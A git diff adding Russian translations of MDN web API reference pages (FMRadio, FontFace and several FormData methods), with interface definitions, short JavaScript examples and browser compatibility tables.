+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FileReader.readAsText")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/fmradio/index.html b/files/ru/web/api/fmradio/index.html
new file mode 100644
index 0000000000..0d889f3956
--- /dev/null
+++ b/files/ru/web/api/fmradio/index.html
@@ -0,0 +1,94 @@
+---
+title: FMRadio
+slug: Web/API/FMRadio
+translation_of: Archive/B2G_OS/API/FMRadio
+---
+<p>{{ APIRef("FMRadio API")}}{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('installed') }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>WebFM API предоставляет доступ к модулю FM радио устройства. Этот интерфейс поможет Вам включить или выключить FM радио и настроить его на нужную станцию. Это достижимо с помощью параметра {{domxref("window.navigator.mozFMRadio","navigator.mozFMRadio")}}.</p>
+
+<h2 id="Обзор_API">Обзор API</h2>
+
+<pre>interface FMRadio : EventTarget {
+   readonly attribute boolean enabled;
+   readonly attribute boolean antennaAvailable;
+   readonly attribute double frequency;
+   readonly attribute double frequencyUpperBound;
+   readonly attribute double frequencyLowerBound;
+   readonly attribute double channelWidth;
+
+   attribute Function onantennaavailablechange;
+   attribute Function onfrequencychange;
+   attribute Function onenabled;
+   attribute Function ondisabled;
+
+   DOMRequest enable(double frequency);
+   DOMRequest disable();
+   DOMRequest setFrequency(double frequency);
+   DOMRequest seekUp();
+   DOMRequest seekDown();
+   DOMRequest cancelSeek();
+}</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt>{{domxref("FMRadio.enabled")}}</dt>
+ <dd>Показывает играет ли радио</dd>
+ <dt>{{domxref("FMRadio.antennaAvailable")}}</dt>
+ <dd>Показывает доступна ли антенна</dd>
+ <dt>{{domxref("FMRadio.frequency")}}</dt>
+ <dd>Текущая частота радио.</dd>
+ <dt>{{domxref("FMRadio.frequencyUpperBound")}}</dt>
+ <dd>Максимальная частота по которой можно найти радиостанцию</dd>
+ <dt>{{domxref("FMRadio.frequencyLowerBound")}}</dt>
+ <dd>Минимальная частота по которой можно найти радиостанцию</dd>
+ <dt>{{domxref("FMRadio.channelWidth")}}</dt>
+ <dd>Частота текущей радиостанции, в МГц.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("FMRadio.onenabled")}}</dt>
+ <dd>A handler for the {{event("enabled")}} event; It is triggered when the radio has been turned on</dd>
+ <dt>{{domxref("FMRadio.ondisabled")}}</dt>
+ <dd>A handler for the {{event("disabled")}} event; It is triggered when the radio has been turned off</dd>
+ <dt>{{domxref("FMRadio.onantennaavailablechange")}}</dt>
+ <dd>A handler for the {{event("antennaavailablechange")}} event; It is triggered when an antenna is plugged or unplugged</dd>
+ <dt>{{domxref("FMRadio.onfrequencychange")}}</dt>
+ <dd>A handler for the {{event("frequencychange")}} event; It is triggered whenever the radio frequency is changed</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("FMRadio.enable()")}}</dt>
+ <dd>Turns on the radio on the given frequency. This function throws if called with no argument. Returns a {{domxref("DOMRequest")}} for the success or error of the operation.</dd>
+ <dt>{{domxref("FMRadio.disable()")}}</dt>
+ <dd>Turns the radio off. Returns a {{domxref("DOMRequest")}} which success indicates that the radio has properly been disabled</dd>
+ <dt>{{domxref("FMRadio.setFrequency()")}}</dt>
+ <dd>Asynchronously changes the radio frequency. The value has to be between <code>frequencyLowerBound</code> and <code>frequencyUpperBound</code>. Trying to set outside the bounds results in an error.</dd>
+ <dd>Returns a {{domxref("DOMRequest")}} which success indicates the frequency has properly been changed.</dd>
+ <dt>{{domxref("FMRadio.seekUp()")}}</dt>
+ <dd>Asks the radio to find a new frequency (usually greater than the current one). If one is successfully found, a <code>frequencychange</code> event is fired. Returns a {{domxref("DOMRequest")}} which success indicates that the search has started. The search circles back to lower frequencies when the highest frequency has been reached.</dd>
+ <dt>{{domxref("FMRadio.seekDown()")}}</dt>
+ <dd>Same as above, but searching in frequencies lower than the current one. The search cirlces back to higher frequencies when the lowest frequency has been reached.</dd>
+ <dt>{{domxref("FMRadio.cancelSeek()")}}</dt>
+ <dd>Cancels the radio seek if one was happening. Returns a {{domxref("DOMRequest")}} which success indicates that the frequency search has been cancelled.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Ещё нет спецификаций.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ru/docs/WebAPI/WebFM_API" title="/ru/docs/WebAPI/WebFM_API">WebFM API</a></li>
+ <li><a href="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm" title="https://github.com/mozilla-b2g/gaia/tree/master/apps/fm">Gaia radio app</a></li>
+</ul>
diff --git a/files/ru/web/api/fontface/index.html b/files/ru/web/api/fontface/index.html
new file mode 100644
index 0000000000..9d3220ee74
--- /dev/null
+++ b/files/ru/web/api/fontface/index.html
@@ -0,0 +1,79 @@
+---
+title: FontFace
+slug: Web/API/FontFace
+tags:
+  - Интерфейс
+  - Шрифты
+translation_of: Web/API/FontFace
+---
+<p>{{APIRef("CSS Font Loading API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <code><strong>FontFace</strong></code> представляет единый используемый шрифт. Он позволяет контролировать источник шрифта, являющийся URL-адресом внешнего ресурса или буфера; а также контролировать момент загрузки шрифта и его текущее состояние.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("FontFace.FontFace", "FontFace()")}}</dt>
+ <dd>Создает и возвращает новый объект <code>FontFace</code>, созданный из внешнего ресурса, описаннного  URL-адресом или из {{domxref("ArrayBuffer")}}.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс не наследует свойства.</em></p>
+
+<dl>
+ <dt>{{domxref("FontFace.display")}}</dt>
+ <dd>{{domxref("CSSOMString")}} определяет способ отображения шрифта, основываясь на информации о статусе его загрузки и готовности к использованию.</dd>
+ <dt>{{domxref("FontFace.family")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает <em>семейство</em> шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-family", "font-family")}}.</dd>
+ <dt>{{domxref("FontFace.featureSettings")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает редко используемые возможности шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}.</dd>
+ <dt>{{domxref("FontFace.loaded")}} {{readonlyinline}}</dt>
+ <dd>Возвращает {{domxref("Promise")}}, которое выполняется для текущего объекта  <code>FontFace</code>, когда специфичный шрифт, указанный в конструкторе объекта, завершает загрузку, либо отклоняется с помощью <code>SyntaxError</code>.</dd>
+ <dt>{{domxref("FontFace.status")}} {{readonlyinline}}</dt>
+ <dd>Возвращает перечисляемое значение, указывающее на состояние шрифта : <code>"unloaded"</code>, <code>"loading"</code>, <code>"loaded"</code>, или <code>"error"</code>.</dd>
+ <dt>{{domxref("FontFace.stretch")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает свойство <em>растягивания </em>шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-stretch", "font-stretch")}}.</dd>
+ <dt>{{domxref("FontFace.style")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает <em>стиль</em> шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-style", "font-style")}}.</dd>
+ <dt>{{domxref("FontFace.unicodeRange")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает<em> диапазон точек кодирования Юникод</em>, охватывающих шрифт. Эквивалентен дескриптору {{cssxref("@font-face/unicode-range", "unicode-range")}}.</dd>
+ <dt>{{domxref("FontFace.variant")}}</dt>
+ <dd>{{domxref("CSSOMString")}} получает или устанавливает <em>вариант</em> шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-variant", "font-variant")}}.</dd>
+ <dt>{{domxref("FontFace.weight")}}</dt>
+ <dd>{{domxref("CSSOMString")}} содежит <em>толщину</em> шрифта. Эквивалентен дескриптору {{cssxref("@font-face/font-weight", "font-weight")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не наследует методы.</em></p>
+
+<dl>
+ <dt>{{domxref("FontFace.load()")}}</dt>
+ <dd>Загружает шрифт, основываясь на переданных требованиях конструктора текущего объекта, включая расположение или ресурсный буфер, и возврящает {{jsxref('Promise')}}, которое выполнятеся для текущего объекта FontFace.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">оммнтари</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Font Loading','#FontFace-interface','FontFaceSet')}}</td>
+   <td>{{Spec2('CSS3 Font Loading')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.FontFace")}}</p>
+</div>
diff --git a/files/ru/web/api/formdata/append/index.html b/files/ru/web/api/formdata/append/index.html
new file mode 100644
index 0000000000..10c6a75f26
--- /dev/null
+++ b/files/ru/web/api/formdata/append/index.html
@@ -0,0 +1,180 @@
+---
+title: FormData.append()
+slug: Web/API/FormData/append
+translation_of: Web/API/FormData/append
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод <code><strong>append()</strong></code> из интерфейса {{domxref("FormData")}} добавляет новое значение в существующий ключ внутри объекта <code>FormData</code>, или создает ключ, в случае если он отсутствует.</p>
+
+<p>Разница между {{domxref("FormData.set")}} и <code>append()</code> в том, что если заданный ключ уже существует, {{domxref("FormData.set")}} заменит данные в нем на новые, а <code>append()</code> добавит новое значение к остальным в конец.</p>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Примечание</strong></span>: Данный метод также доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Существует две формы использования данной функции: с двумя и тремя параметрами:</p>
+
+<pre class="brush: js">formData.append(name, value);
+formData.append(name, value, filename);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя поля, которое будет содержать данные из <code>value</code>.</dd>
+ <dt><code>value</code></dt>
+ <dd>Значение поля. В варианте с двумя параметрами, это является {{domxref("USVString")}}, если значение не является строкой, то оно будет в нее конвертировано. В варианте с тремя параметрами это может быть {{domxref("Blob")}}, {{domxref("File")}}, или {{domxref("USVString")}}, И снова, если ни один из них не указан в значении то оно будет конвертировано в строку.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>Имя файла которое будет отправлено серверу ({{domxref("USVString")}}), когда {{domxref("Blob")}} или {{domxref("File")}} прошел проверку как второй параметр. Стандартное имя файла для {{domxref("Blob")}} объектов это "blob".</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> Если вы укажете {{domxref("Blob")}} в качестве данных для включения в объект <code>FormData</code>, имя файла будет указано для сервера в заголовке "Content-Disposition" и может отличаться от браузера к браузеру.</p>
+</div>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Пустота.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Данная строка кода создает пустой <code>FormData</code> объект:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
+
+<p>Вы можете добавлять пару ключ/значение с помощью {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<p>Также вы можете использовать обозначения массива для первого аргумента:</p>
+
+<pre class="brush: js">formData.append('userpic[]', myFileInput1.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput2.files[0], 'chris2.jpg');</pre>
+
+<p>Эта техника позволяет упростить мультифайловую загрузку данных потому, что в результате структура данных является более благоприятной для цикла.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Заметки</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка">Поддержка</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[1]</sup></td>
+   <td>10</td>
+   <td>12</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>append with filename</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}<sup>[1]</sup></td>
+   <td>1.0.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>12</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>append with filename</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 7.0 {{geckoRelease("7.0")}}, if you specified a {{domxref("Blob")}} as the data to append to the object, the filename reported in the "Content-Disposition" HTTP header was an empty string; this resulted in errors being reported by some servers. Starting in Gecko 7.0 the filename "blob" is sent.</p>
+
+<p>[2] XHR в Android 4.0 отправляет пустое содерживое FormData с blob.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/delete/index.html b/files/ru/web/api/formdata/delete/index.html
new file mode 100644
index 0000000000..7335145f86
--- /dev/null
+++ b/files/ru/web/api/formdata/delete/index.html
@@ -0,0 +1,138 @@
+---
+title: FormData.delete()
+slug: Web/API/FormData/delete
+translation_of: Web/API/FormData/delete
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод <code><strong>delete()</strong></code> интерфейса {{domxref("FormData")}} удаляет ключ и его зачение(-ия) из объекта <code>FormData</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Этот метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">formData.delete(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Имя ключа для удаления.</dd>
+</dl>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>Нет.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код создает объект <code>FormData</code> и заполняет его парами "ключ"/"значение" из формы:</p>
+
+<pre class="brush: js">var formData = new FormData(myForm);</pre>
+
+<p>Вы можете удалить пару "ключ"/"значение" используя <code>delete()</code>:</p>
+
+<pre class="brush: js">formData.delete('username');
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("39.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in web workers</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/entries/index.html b/files/ru/web/api/formdata/entries/index.html
new file mode 100644
index 0000000000..04c79a6589
--- /dev/null
+++ b/files/ru/web/api/formdata/entries/index.html
@@ -0,0 +1,125 @@
+---
+title: FormData.entries()
+slug: Web/API/FormData/entries
+tags:
+  - API
+  - FormData
+  - Iterator
+  - Method
+  - Reference
+  - XMLHttpRequest API
+translation_of: Web/API/FormData/entries
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод <code><strong>FormData.entries()</strong></code> возвращает {{jsxref("Iteration_protocols",'iterator')}}, позволяя пройтись по всем ключам/значениям в этом объекте. Ключ каждой пары - это объект {{domxref("USVString")}}, значение - это {{domxref("USVString")}} или {{domxref("Blob")}}.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">formData.entries();</pre>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Возвращает {{jsxref("Iteration_protocols","iterator")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;highlight:[7] notranslate">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the key/value pairs
+for(var pair of formData.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+</pre>
+
+<p>Резуьтат:</p>
+
+<pre class="notranslate">key1, value1
+key2, value2</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Начальное опеределение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/formdata/formdata/index.html b/files/ru/web/api/formdata/formdata/index.html
new file mode 100644
index 0000000000..260388230f
--- /dev/null
+++ b/files/ru/web/api/formdata/formdata/index.html
@@ -0,0 +1,89 @@
+---
+title: FormData()
+slug: Web/API/FormData/FormData
+translation_of: Web/API/FormData/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Конструктор <code><strong>FormData()</strong></code> создает новые объект {{domxref("FormData")}}, если проще - HTML-форму<strong>.</strong></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><code>var formData = new FormData(</code><code>form</code><code>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>form </code>{{optional_inline}}</dt>
+ <dd>Существующая HTML-форма, на основе которой будет создана новая. Если ничего не указано, будет создана пустая форма.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;form name="test"&gt;
+  &lt;input type="text" name="code" value="12345"&gt;
+  &lt;input type="submit" value="Отправить"&gt;
+&lt;/form&gt;</pre>
+
+
+
+<pre class="brush: js">var
+    oldForm = document.forms.test,
+    formData = new FormData(oldForm)
+;
+
+console.log(
+    formData.get("code"),
+    formData === oldForm
+);
+
+</pre>
+
+<h3 id="Методы">Методы</h3>
+
+<div class="note">
+<p>Подробнее о каждом методе можно прочитать, выбрав его в колонке слева.</p>
+</div>
+
+<p>Добавление нового текстового поля в форму:</p>
+
+<pre class="brush: js">formData.append(name, value, filename);
+</pre>
+
+<p>Удаление элемента формы:</p>
+
+<pre class="brush: js  language-js"><code class="language-js">formData<span class="punctuation token">.</span><span class="keyword token">delete</span><span class="punctuation token">(</span>name<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Получение значения элемента формы:</p>
+
+<pre class="brush: js">formData.get(name);
+</pre>
+
+<p>Проверка на наличие определенного элемента формы:</p>
+
+<pre class="brush: js">formData.has(name);</pre>
+
+<p>Изменение существующего элемента:</p>
+
+<pre class="brush: js  language-js"><code class="language-js">formData<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span>name<span class="punctuation token">,</span> value<span class="punctuation token">,</span> filename<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{Compat("api.FormData.FormData")}}</div>
diff --git a/files/ru/web/api/formdata/get/index.html b/files/ru/web/api/formdata/get/index.html
new file mode 100644
index 0000000000..df52182d7b
--- /dev/null
+++ b/files/ru/web/api/formdata/get/index.html
@@ -0,0 +1,74 @@
+---
+title: FormData.get()
+slug: Web/API/FormData/get
+translation_of: Web/API/FormData/get
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>Метод get() из интерфейса {{domxref("FormData")}} возвращает первое значение, связанное с переданным ключом из объекта FormData. Если вы ожидаете множественные значения и хотите получить их все, используйте метод getAll().</p>
+
+<div class="note">
+<p>Примечание: Этот метод доступен в <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">formData.get(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>{{domxref("USVString")}} строка, являющаяся именем ключа, значение которого вы хотите получить.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение из {{domxref("FormDataEntryValue")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий код создает пустой объект <code>FormData</code>:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>Если мы добавим два значения  <code>username,</code> используя {{domxref("FormData.append")}}:</p>
+
+<pre class="brush: js">formData.append('username', 'Борис');
+formData.append('username', 'Кирилл');</pre>
+
+<p>То метод <code>get()</code> вернёт только первое добавленное значение <code>username</code>:</p>
+
+<pre class="brush: js">formData.get('username'); // Вернёт "Борис"</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
